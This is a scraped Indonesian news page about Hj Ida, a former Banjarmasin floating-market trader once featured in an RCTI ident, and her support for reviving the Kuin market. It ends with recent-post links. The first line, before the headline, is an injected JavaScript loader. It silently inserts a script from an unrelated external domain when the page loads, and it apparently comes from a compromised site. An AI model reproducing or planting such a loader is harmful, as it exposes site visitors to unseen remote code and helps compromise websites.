(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mengenang Kembali Ikon Pasar Terapung Kuin Hj Ida “RCTI Oke”, Apa yang Dilakukan Saat Ini?


KANALKALIMANTAN.COM, BANJARMASIN – Sosok Hj Ida pernah jadi ikon di layar kaca oleh salah satu stasiun televisi swasta nasional, yang menggambarkan suasana pasar terapung di Kota Banjarmasin akhir era 1990 an dan awal era 2000 an. Tentunya, sosok Hj Ida tidak begitu asing bagi masyarakat Indonesia khususnya di Kalimantan Selatan.

Nah, Hj Ida juga sempat menghadiri peresmian Pasar Terapung Kuin Alalak yang lokasinya persis di depan Makam Sultan Suriansyah, Kelurahan Kuin Utara Kecamatan Banjarmasin Utara.

Kepada Kanalkalimantan.com, Hj Ida mengapresiasi langkah Pemko Banjarmasin yang kembali menghidupkan kembali keberadaan pasar terapung. “Bagus, saya mendukung saja,” kata Hj Ida.

Hj Ida mengatakan, pasar terapung memang layak untuk dibangun kembali. Lantaran sudah mulai jarang yang berjualan.

Hj. Ida Ketika masih menjadi ikon RCTI.

Menurut Hj Ida, keberadaan pasar terapung sempat eksis di awal abad ke 21, tepatnya di tahun 2002. “Tahun 2002 masih ada,” sebutnya.

Wanita yang pernah menjadi pedagang pasar terapung selama 13 tahun ini pun berharap, pasar terapung yang kembali dihidupkan ini bisa lebih maju. Kendati lokasinya berada di Muara Kuin, bukan di Alalak seperti dulu. “Ini (pedagang) banyak yang dari Alalak,” ujarnya.

Hj Ida sendiri, sudah 5 tahun pensiun berjualan di pasar terapung. Kini, dirinya juga fokus mengurus cucunya di rumah. “Cucuku saat umur 7 bulan, ibunya meninggal,” katanya.

Sehingga, Hj Ida sempat hanya berjualan saja di depan rumahnya di di Alalak Selatan. Kendati telah menghentikan usaha dagangnya. “Jual sayuran, ikan, dan beras,” katanya.

Hj Ida ingat betul, sebelum muncul di layar kaca, dirinya di syuting oleh stasiun televisi swasta nasional di tahun 1994. “Tahun 2002 ke Jakarta, syuting lagi dari awal,” pungkas Hj Ida. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

5 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

8 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

8 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

10 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

12 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

13 jam ago

This website uses cookies.